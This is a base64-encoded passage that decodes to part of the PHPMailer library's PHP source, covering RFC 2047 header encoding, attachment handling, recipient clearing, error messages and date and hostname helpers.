RtbC9yZmMyMDQ3CiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIgdGhlIHRleHQgdG8gZW5jb2RlCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwb3NpdGlvbiBXaGVyZSB0aGUgdGV4dCBpcyBnb2luZyB0byBiZSB1c2VkLCBzZWUgdGhlIFJGQyBmb3Igd2hhdCB0aGF0IG1lYW5zCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZVEoJHN0ciwgJHBvc2l0aW9uID0gJ3RleHQnKQogICAgewogICAgICAgIC8vIFRoZXJlIHNob3VsZCBub3QgYmUgYW55IEVPTCBpbiB0aGUgc3RyaW5nCiAgICAgICAgJHBhdHRlcm4gPSAnJzsKICAgICAgICAkZW5jb2RlZCA9IHN0cl9yZXBsYWNlKGFycmF5KCJcciIsICJcbiIpLCAnJywgJHN0cik7CiAgICAgICAgc3dpdGNoIChzdHJ0b2xvd2VyKCRwb3NpdGlvbikpIHsKICAgICAgICAgICAgY2FzZSAncGhyYXNlJzoKICAgICAgICAgICAgICAgIC8vIFJGQyAyMDQ3IHNlY3Rpb24gNS4zCiAgICAgICAgICAgICAgICAkcGF0dGVybiA9ICdeQS1aYS16MC05ISorXC8gLSc7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgLyoqIEBub2luc3BlY3Rpb24gUGhwTWlzc2luZ0JyZWFrU3RhdGVtZW50SW5zcGVjdGlvbiAqLwogICAgICAgICAgICBjYXNlICdjb21tZW50JzoKICAgICAgICAgICAgICAgIC8vIFJGQyAyMDQ3IHNlY3Rpb24gNS4yCiAgICAgICAgICAgICAgICAkcGF0dGVybiA9ICdcKFwpIic7CiAgICAgICAgICAgICAgICAvLyBpbnRlbnRpb25hbCBmYWxsLXRocm91Z2gKICAgICAgICAgICAgICAgIC8vIGZvciB0aGlzIHJlYXNvbiB3ZSBidWlsZCB0aGUgJHBhdHRlcm4gd2l0aG91dCBpbmNsdWRpbmcgZGVsaW1pdGVycyBhbmQgW10KICAgICAgICAgICAgY2FzZSAndGV4dCc6CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAvLyBSRkMgMjA0NyBzZWN0aW9uIDUuMQogICAgICAgICAgICAgICAgLy8gUmVwbGFjZSBldmVyeSBoaWdoIGFzY2lpLCBjb250cm9sLCA9LCA/IGFuZCBfIGNoYXJhY3RlcnMKICAgICAgICAgICAgICAgICRwYXR0ZXJuID0gJ1wwMDAtXDAxMVwwMTNcMDE0XDAxNi1cMDM3XDA3NVwwNzdcMTM3XDE3Ny1cMzc3JyAuICRwYXR0ZXJuOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICAgICRtYXRjaGVzID0gYXJyYXkoKTsKICAgICAgICBpZiAocHJlZ19tYXRjaF9hbGwoIi9beyRwYXR0ZXJufV0vIiwgJGVuY29kZWQsICRtYXRjaGVzKSkgewogICAgICAgICAgICAvLyBJZiB0aGUgc3RyaW5nIGNvbnRhaW5zIGFuICc9JywgbWFrZSBzdXJlIGl0J3MgdGhlIGZpcnN0IHRoaW5nIHdlIHJlcGxhY2UKICAgICAgICAgICAgLy8gc28gYXMgdG8gYXZvaWQgZG91YmxlLWVuY29kaW5nCiAgICAgICAgICAgICRlcWtleSA9IGFycmF5X3NlYXJjaCgnPScsICRtYXRjaGVzWzBdKTsKICAgICAgICAgICAgaWYgKGZhbHNlICE9PSAkZXFrZXkpIHsKICAgICAgICAgICAgICAgIHVuc2V0KCRtYXRjaGVzWzBdWyRlcWtleV0pOwogICAgICAgICAgICAgICAgYXJyYXlfdW5zaGlmdCgkbWF0Y2hlc1swXSwgJz0nKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmb3JlYWNoIChhcnJheV91bmlxdWUoJG1hdGNoZXNbMF0pIGFzICRjaGFyKSB7CiAgICAgICAgICAgICAgICAkZW5jb2RlZCA9IHN0cl9yZXBsYWNlKCRjaGFyLCAnPScgLiBzcHJpbnRmKCclMDJYJywgb3JkKCRjaGFyKSksICRlbmNvZGVkKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAvLyBSZXBsYWNlIGV2ZXJ5IHNwYWNlcyB0byBfIChtb3JlIHJlYWRhYmxlIHRoYW4gPTIwKQogICAgICAgIHJldHVybiBzdHJfcmVwbGFjZSgnICcsICdfJywgJGVuY29kZWQpOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGEgc3RyaW5nIG9yIGJpbmFyeSBhdHRhY2htZW50IChub24tZmlsZXN5c3RlbSkuCiAgICAgKiBUaGlzIG1ldGhvZCBjYW4gYmUgdXNlZCB0byBhdHRhY2ggYXNjaWkgb3IgYmluYXJ5IGRhdGEsCiAgICAgKiBzdWNoIGFzIGEgQkxPQiByZWNvcmQgZnJvbSBhIGRhdGFiYXNlLgogICAgICogQHBhcmFtIHN0cmluZyAkc3RyaW5nIFN0cmluZyBhdHRhY2htZW50IGRhdGEuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZSBOYW1lIG9mIHRoZSBhdHRhY2htZW50LgogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcgRmlsZSBlbmNvZGluZyAoc2VlICRFbmNvZGluZykuCiAgICAgKiBAcGFyYW0gc3RyaW5nICR0eXBlIEZpbGUgZXh0ZW5zaW9uIChNSU1FKSB0eXBlLgogICAgICogQHBhcmFtIHN0cmluZyAkZGlzcG9zaXRpb24gRGlzcG9zaXRpb24gdG8gdXNlCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZFN0cmluZ0F0dGFjaG1lbnQoCiAgICAgICAgJHN0cmluZywKICAgICAgICAkZmlsZW5hbWUsCiAgICAgICAgJGVuY29kaW5nID0gJ2Jhc2U2NCcsCiAgICAgICAgJHR5cGUgPSAnJywKICAgICAgICAkZGlzcG9zaXRpb24gPSAnYXR0YWNobWVudCcKICAgICkgewogICAgICAgIC8vIElmIGEgTUlNRSB0eXBlIGlzIG5vdCBzcGVjaWZpZWQsIHRyeSB0byB3b3JrIGl0IG91dCBmcm9tIHRoZSBmaWxlIG5hbWUKICAgICAgICBpZiAoJHR5cGUgPT0gJycpIHsKICAgICAgICAgICAgJHR5cGUgPSBzZWxmOjpmaWxlbmFtZVRvVHlwZSgkZmlsZW5hbWUpOwogICAgICAgIH0KICAgICAgICAvLyBBcHBlbmQgdG8gJGF0dGFjaG1lbnQgYXJyYXkKICAgICAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoCiAgICAgICAgICAgIDAgPT4gJHN0cmluZywKICAgICAgICAgICAgMSA9PiAkZmlsZW5hbWUsCiAgICAgICAgICAgIDIgPT4gYmFzZW5hbWUoJGZpbGVuYW1lKSwKICAgICAgICAgICAgMyA9PiAkZW5jb2RpbmcsCiAgICAgICAgICAgIDQgPT4gJHR5cGUsCiAgICAgICAgICAgIDUgPT4gdHJ1ZSwgLy8gaXNTdHJpbmdBdHRhY2htZW50CiAgICAgICAgICAgIDYgPT4gJGRpc3Bvc2l0aW9uLAogICAgICAgICAgICA3ID0+IDAKICAgICAgICApOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGVtYmVkZGVkIChpbmxpbmUpIGF0dGFjaG1lbnQgZnJvbSBhIGZpbGUuCiAgICAgKiBUaGlzIGNhbiBpbmNsdWRlIGltYWdlcywgc291bmRzLCBhbmQganVzdCBhYm91dCBhbnkgb3RoZXIgZG9jdW1lbnQgdHlwZS4KICAgICAqIFRoZXNlIGRpZmZlciBmcm9tICdyZWd1bGFyJyBhdHRhY2htZW50cyBpbiB0aGF0IHRoZXkgYXJlIGludGVuZGVkIHRvIGJlCiAgICAgKiBkaXNwbGF5ZWQgaW5saW5lIHdpdGggdGhlIG1lc3NhZ2UsIG5vdCBqdXN0IGF0dGFjaGVkIGZvciBkb3dubG9hZC4KICAgICAqIFRoaXMgaXMgdXNlZCBpbiBIVE1MIG1lc3NhZ2VzIHRoYXQgZW1iZWQgdGhlIGltYWdlcwogICAgICogdGhlIEhUTUwgcmVmZXJzIHRvIHVzaW5nIHRoZSAkY2lkIHZhbHVlLgogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aCBQYXRoIHRvIHRoZSBhdHRhY2htZW50LgogICAgICogQHBhcmFtIHN0cmluZyAkY2lkIENvbnRlbnQgSUQgb2YgdGhlIGF0dGFjaG1lbnQ7IFVzZSB0aGlzIHRvIHJlZmVyZW5jZQogICAgICogICAgICAgIHRoZSBjb250ZW50IHdoZW4gdXNpbmcgYW4gZW1iZWRkZWQgaW1hZ2UgaW4gSFRNTC4KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgT3ZlcnJpZGVzIHRoZSBhdHRhY2htZW50IG5hbWUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyBGaWxlIGVuY29kaW5nIChzZWUgJEVuY29kaW5nKS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgRmlsZSBNSU1FIHR5cGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkaXNwb3NpdGlvbiBEaXNwb3NpdGlvbiB0byB1c2UKICAgICAqIEByZXR1cm4gYm9vbGVhbiBUcnVlIG9uIHN1Y2Nlc3NmdWxseSBhZGRpbmcgYW4gYXR0YWNobWVudAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkRW1iZWRkZWRJbWFnZSgkcGF0aCwgJGNpZCwgJG5hbWUgPSAnJywgJGVuY29kaW5nID0gJ2Jhc2U2NCcsICR0eXBlID0gJycsICRkaXNwb3NpdGlvbiA9ICdpbmxpbmUnKQogICAgewogICAgICAgIGlmICghQGlzX2ZpbGUoJHBhdGgpKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZmlsZV9hY2Nlc3MnKSAuICRwYXRoKTsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KCiAgICAgICAgLy8gSWYgYSBNSU1FIHR5cGUgaXMgbm90IHNwZWNpZmllZCwgdHJ5IHRvIHdvcmsgaXQgb3V0IGZyb20gdGhlIGZpbGUgbmFtZQogICAgICAgIGlmICgkdHlwZSA9PSAnJykgewogICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRwYXRoKTsKICAgICAgICB9CgogICAgICAgICRmaWxlbmFtZSA9IGJhc2VuYW1lKCRwYXRoKTsKICAgICAgICBpZiAoJG5hbWUgPT0gJycpIHsKICAgICAgICAgICAgJG5hbWUgPSAkZmlsZW5hbWU7CiAgICAgICAgfQoKICAgICAgICAvLyBBcHBlbmQgdG8gJGF0dGFjaG1lbnQgYXJyYXkKICAgICAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoCiAgICAgICAgICAgIDAgPT4gJHBhdGgsCiAgICAgICAgICAgIDEgPT4gJGZpbGVuYW1lLAogICAgICAgICAgICAyID0+ICRuYW1lLAogICAgICAgICAgICAzID0+ICRlbmNvZGluZywKICAgICAgICAgICAgNCA9PiAkdHlwZSwKICAgICAgICAgICAgNSA9PiBmYWxzZSwgLy8gaXNTdHJpbmdBdHRhY2htZW50CiAgICAgICAgICAgIDYgPT4gJGRpc3Bvc2l0aW9uLAogICAgICAgICAgICA3ID0+ICRjaWQKICAgICAgICApOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGVtYmVkZGVkIHN0cmluZ2lmaWVkIGF0dGFjaG1lbnQuCiAgICAgKiBUaGlzIGNhbiBpbmNsdWRlIGltYWdlcywgc291bmRzLCBhbmQganVzdCBhYm91dCBhbnkgb3RoZXIgZG9jdW1lbnQgdHlwZS4KICAgICAqIEJlIHN1cmUgdG8gc2V0IHRoZSAkdHlwZSB0byBhbiBpbWFnZSB0eXBlIGZvciBpbWFnZXM6CiAgICAgKiBKUEVHIGltYWdlcyB1c2UgJ2ltYWdlL2pwZWcnLCBHSUYgdXNlcyAnaW1hZ2UvZ2lmJywgUE5HIHVzZXMgJ2ltYWdlL3BuZycuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgVGhlIGF0dGFjaG1lbnQgYmluYXJ5IGRhdGEuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRjaWQgQ29udGVudCBJRCBvZiB0aGUgYXR0YWNobWVudDsgVXNlIHRoaXMgdG8gcmVmZXJlbmNlCiAgICAgKiAgICAgICAgdGhlIGNvbnRlbnQgd2hlbiB1c2luZyBhbiBlbWJlZGRlZCBpbWFnZSBpbiBIVE1MLgogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcgRmlsZSBlbmNvZGluZyAoc2VlICRFbmNvZGluZykuCiAgICAgKiBAcGFyYW0gc3RyaW5nICR0eXBlIE1JTUUgdHlwZS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGRpc3Bvc2l0aW9uIERpc3Bvc2l0aW9uIHRvIHVzZQogICAgICogQHJldHVybiBib29sZWFuIFRydWUgb24gc3VjY2Vzc2Z1bGx5IGFkZGluZyBhbiBhdHRhY2htZW50CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRTdHJpbmdFbWJlZGRlZEltYWdlKAogICAgICAgICRzdHJpbmcsCiAgICAgICAgJGNpZCwKICAgICAgICAkbmFtZSA9ICcnLAogICAgICAgICRlbmNvZGluZyA9ICdiYXNlNjQnLAogICAgICAgICR0eXBlID0gJycsCiAgICAgICAgJGRpc3Bvc2l0aW9uID0gJ2lubGluZScKICAgICkgewogICAgICAgIC8vIElmIGEgTUlNRSB0eXBlIGlzIG5vdCBzcGVjaWZpZWQsIHRyeSB0byB3b3JrIGl0IG91dCBmcm9tIHRoZSBuYW1lCiAgICAgICAgaWYgKCR0eXBlID09ICcnIGFuZCAhZW1wdHkoJG5hbWUpKSB7CiAgICAgICAgICAgICR0eXBlID0gc2VsZjo6ZmlsZW5hbWVUb1R5cGUoJG5hbWUpOwogICAgICAgIH0KCiAgICAgICAgLy8gQXBwZW5kIHRvICRhdHRhY2htZW50IGFycmF5CiAgICAgICAgJHRoaXMtPmF0dGFjaG1lbnRbXSA9IGFycmF5KAogICAgICAgICAgICAwID0+ICRzdHJpbmcsCiAgICAgICAgICAgIDEgPT4gJG5hbWUsCiAgICAgICAgICAgIDIgPT4gJG5hbWUsCiAgICAgICAgICAgIDMgPT4gJGVuY29kaW5nLAogICAgICAgICAgICA0ID0+ICR0eXBlLAogICAgICAgICAgICA1ID0+IHRydWUsIC8vIGlzU3RyaW5nQXR0YWNobWVudAogICAgICAgICAgICA2ID0+ICRkaXNwb3NpdGlvbiwKICAgICAgICAgICAgNyA9PiAkY2lkCiAgICAgICAgKTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIENoZWNrIGlmIGFuIGlubGluZSBhdHRhY2htZW50IGlzIHByZXNlbnQuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpbmxpbmVJbWFnZUV4aXN0cygpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmF0dGFjaG1lbnQgYXMgJGF0dGFjaG1lbnQpIHsKICAgICAgICAgICAgaWYgKCRhdHRhY2htZW50WzZdID09ICdpbmxpbmUnKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayBpZiBhbiBhdHRhY2htZW50IChub24taW5saW5lKSBpcyBwcmVzZW50LgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhdHRhY2htZW50RXhpc3RzKCkKICAgIHsKICAgICAgICBmb3JlYWNoICgkdGhpcy0+YXR0YWNobWVudCBhcyAkYXR0YWNobWVudCkgewogICAgICAgICAgICBpZiAoJGF0dGFjaG1lbnRbNl0gPT0gJ2F0dGFjaG1lbnQnKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayBpZiB0aGlzIG1lc3NhZ2UgaGFzIGFuIGFsdGVybmF0aXZlIGJvZHkgc2V0LgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhbHRlcm5hdGl2ZUV4aXN0cygpCiAgICB7CiAgICAgICAgcmV0dXJuICFlbXB0eSgkdGhpcy0+QWx0Qm9keSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBxdWV1ZWQgYWRkcmVzc2VzIG9mIGdpdmVuIGtpbmQuCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICogQHBhcmFtIHN0cmluZyAka2luZCAndG8nLCAnY2MnLCBvciAnYmNjJwogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhclF1ZXVlZEFkZHJlc3Nlcygka2luZCkKICAgIHsKICAgICAgICAkUmVjaXBpZW50c1F1ZXVlID0gJHRoaXMtPlJlY2lwaWVudHNRdWV1ZTsKICAgICAgICBmb3JlYWNoICgkUmVjaXBpZW50c1F1ZXVlIGFzICRhZGRyZXNzID0+ICRwYXJhbXMpIHsKICAgICAgICAgICAgaWYgKCRwYXJhbXNbMF0gPT0gJGtpbmQpIHsKICAgICAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5SZWNpcGllbnRzUXVldWVbJGFkZHJlc3NdKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIENsZWFyIGFsbCBUbyByZWNpcGllbnRzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckFkZHJlc3NlcygpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPnRvIGFzICR0bykgewogICAgICAgICAgICB1bnNldCgkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkdG9bMF0pXSk7CiAgICAgICAgfQogICAgICAgICR0aGlzLT50byA9IGFycmF5KCk7CiAgICAgICAgJHRoaXMtPmNsZWFyUXVldWVkQWRkcmVzc2VzKCd0bycpOwogICAgfQoKICAgIC8qKgogICAgICogQ2xlYXIgYWxsIENDIHJlY2lwaWVudHMuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGNsZWFyQ0NzKCkKICAgIHsKICAgICAgICBmb3JlYWNoICgkdGhpcy0+Y2MgYXMgJGNjKSB7CiAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5hbGxfcmVjaXBpZW50c1tzdHJ0b2xvd2VyKCRjY1swXSldKTsKICAgICAgICB9CiAgICAgICAgJHRoaXMtPmNjID0gYXJyYXkoKTsKICAgICAgICAkdGhpcy0+Y2xlYXJRdWV1ZWRBZGRyZXNzZXMoJ2NjJyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgQkNDIHJlY2lwaWVudHMuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGNsZWFyQkNDcygpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmJjYyBhcyAkYmNjKSB7CiAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5hbGxfcmVjaXBpZW50c1tzdHJ0b2xvd2VyKCRiY2NbMF0pXSk7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5iY2MgPSBhcnJheSgpOwogICAgICAgICR0aGlzLT5jbGVhclF1ZXVlZEFkZHJlc3NlcygnYmNjJyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgUmVwbHlUbyByZWNpcGllbnRzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhclJlcGx5VG9zKCkKICAgIHsKICAgICAgICAkdGhpcy0+UmVwbHlUbyA9IGFycmF5KCk7CiAgICAgICAgJHRoaXMtPlJlcGx5VG9RdWV1ZSA9IGFycmF5KCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgcmVjaXBpZW50IHR5cGVzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckFsbFJlY2lwaWVudHMoKQogICAgewogICAgICAgICR0aGlzLT50byA9IGFycmF5KCk7CiAgICAgICAgJHRoaXMtPmNjID0gYXJyYXkoKTsKICAgICAgICAkdGhpcy0+YmNjID0gYXJyYXkoKTsKICAgICAgICAkdGhpcy0+YWxsX3JlY2lwaWVudHMgPSBhcnJheSgpOwogICAgICAgICR0aGlzLT5SZWNpcGllbnRzUXVldWUgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQ2xlYXIgYWxsIGZpbGVzeXN0ZW0sIHN0cmluZywgYW5kIGJpbmFyeSBhdHRhY2htZW50cy4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY2xlYXJBdHRhY2htZW50cygpCiAgICB7CiAgICAgICAgJHRoaXMtPmF0dGFjaG1lbnQgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQ2xlYXIgYWxsIGN1c3RvbSBoZWFkZXJzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckN1c3RvbUhlYWRlcnMoKQogICAgewogICAgICAgICR0aGlzLT5DdXN0b21IZWFkZXIgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGVycm9yIG1lc3NhZ2UgdG8gdGhlIGVycm9yIGNvbnRhaW5lci4KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcGFyYW0gc3RyaW5nICRtc2cKICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gc2V0RXJyb3IoJG1zZykKICAgIHsKICAgICAgICAkdGhpcy0+ZXJyb3JfY291bnQrKzsKICAgICAgICBpZiAoJHRoaXMtPk1haWxlciA9PSAnc210cCcgYW5kICFpc19udWxsKCR0aGlzLT5zbXRwKSkgewogICAgICAgICAgICAkbGFzdGVycm9yID0gJHRoaXMtPnNtdHAtPmdldEVycm9yKCk7CiAgICAgICAgICAgIGlmICghZW1wdHkoJGxhc3RlcnJvclsnZXJyb3InXSkpIHsKICAgICAgICAgICAgICAgICRtc2cgLj0gJHRoaXMtPmxhbmcoJ3NtdHBfZXJyb3InKSAuICRsYXN0ZXJyb3JbJ2Vycm9yJ107CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRsYXN0ZXJyb3JbJ2RldGFpbCddKSkgewogICAgICAgICAgICAgICAgICAgICRtc2cgLj0gJyBEZXRhaWw6ICcuICRsYXN0ZXJyb3JbJ2RldGFpbCddOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbGFzdGVycm9yWydzbXRwX2NvZGUnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkbXNnIC49ICcgU01UUCBjb2RlOiAnIC4gJGxhc3RlcnJvclsnc210cF9jb2RlJ107CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRsYXN0ZXJyb3JbJ3NtdHBfY29kZV9leCddKSkgewogICAgICAgICAgICAgICAgICAgICRtc2cgLj0gJyBBZGRpdGlvbmFsIFNNVFAgaW5mbzogJyAuICRsYXN0ZXJyb3JbJ3NtdHBfY29kZV9leCddOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICR0aGlzLT5FcnJvckluZm8gPSAkbXNnOwogICAgfQoKICAgIC8qKgogICAgICogUmV0dXJuIGFuIFJGQyA4MjIgZm9ybWF0dGVkIGRhdGUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqIEBzdGF0aWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiByZmNEYXRlKCkKICAgIHsKICAgICAgICAvLyBTZXQgdGhlIHRpbWUgem9uZSB0byB3aGF0ZXZlciB0aGUgZGVmYXVsdCBpcyB0byBhdm9pZCA1MDAgZXJyb3JzCiAgICAgICAgLy8gV2lsbCBkZWZhdWx0IHRvIFVUQyBpZiBpdCdzIG5vdCBzZXQgcHJvcGVybHkgaW4gcGhwLmluaQogICAgICAgIGRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoQGRhdGVfZGVmYXVsdF90aW1lem9uZV9nZXQoKSk7CiAgICAgICAgcmV0dXJuIGRhdGUoJ0QsIGogTSBZIEg6aTpzIE8nKTsKICAgIH0KCiAgICAvKioKICAgICAqIEdldCB0aGUgc2VydmVyIGhvc3RuYW1lLgogICAgICogUmV0dXJucyAnbG9jYWxob3N0LmxvY2FsZG9tYWluJyBpZiB1bmtub3duLgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBzZXJ2ZXJIb3N0bmFtZSgpCiAgICB7CiAgICAgICAgJHJlc3VsdCA9ICdsb2NhbGhvc3QubG9jYWxkb21haW4nOwogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkhvc3RuYW1lKSkgewogICAgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPkhvc3RuYW1lOwogICAgICAgIH0gZWxzZWlmIChpc3NldCgkX1NFUlZFUikgYW5kIGFycmF5X2tleV9leGlzdHMoJ1NFUlZFUl9OQU1FJywgJF9TRVJWRVIpIGFuZCAhZW1wdHkoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKSB7CiAgICAgICAgICAgICRyZXN1bHQgPSAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXTsKICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdnZXRob3N0bmFtZScpICYmIGdldGhvc3RuYW1lKCkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICRyZXN1bHQgPSBnZXRob3N0bmFtZSgpOwogICAgICAgIH0gZWxzZWlmIChwaHBfdW5hbWUoJ24nKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJHJlc3VsdCA9IHBocF91bmFtZSgnbicpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KCiAgICAvKioKICAgICAqIEdldCBhbiBlcnJvciBtZXNzYWdlIGluIHRoZSBjdXJyZW50IGxhbmd1YWdlLgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGtleQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGxhbmcoJGtleSkKICAgIHsKICAgICAgICBpZiAoY291bnQoJHRoaXMtPmxhbmd1YWdlKSA8IDEpIHsKICAgICAgICAgICAgJHRoaXMtPnNldExhbmd1YWdlKCdlbicpOyAvLyBzZXQgdGhlIGRlZmF1bHQgbGFuZ3VhZ2UKICAgICAgICB9CgogICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKCRrZXksICR0aGlzLT5sYW5ndWFnZSkpIHsKICAgICAgICAgICAgaWYgKCRrZXkgPT0gJ3NtdHBfY29ubmVjdF9mYWlsZWQnKSB7CiAgICAgICAgICAgICAgICAvL0luY2x1ZGUgYSBsaW5rIHRvIHRyb3VibGVzaG9vdGluZyBkb2NzIG9uIFNNVFAgY29ubmVjdGlvbiBmYWlsdXJlCiAgICAgICAgICAgICAgICAvL3RoaXMgaXMgYnkgZmFyIHRoZSBiaWdnZXN0IGNhdXNlIG9mIHN1cHBvcnQgcXVlc3Rpb25zCiAgICAgICAgICAgICAgICAvL2J1dCBpdCdzIHVzdWFsbHkgbm90IFBIUE1haWxlcidzIGZhdWx0LgogICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5sYW5ndWFnZVska2V5XSAuICcgaHR0cHM6Ly9naXRodWIuY29tL1BIUE1haWxlci9QSFBNYWlsZXIvd2lraS9Ucm91Ymxlc2hvb3RpbmcnOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+bGFuZ3VhZ2VbJGtleV07CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy9SZXR1cm4gdGhlIGtleSBhcyBhIGZhbGxiYWNrCiAgICAgICAgICAgIHJldHVybiAka2V5OwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIENoZWNrIGlmIGFuIGVycm9yIG9jY3VycmVkLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gYm9vbGVhbiBUcnVlIGlmIGFuIGVycm9yIGRpZCBvY2N1ci4KICAgICAqLwogICAgcHVibGlj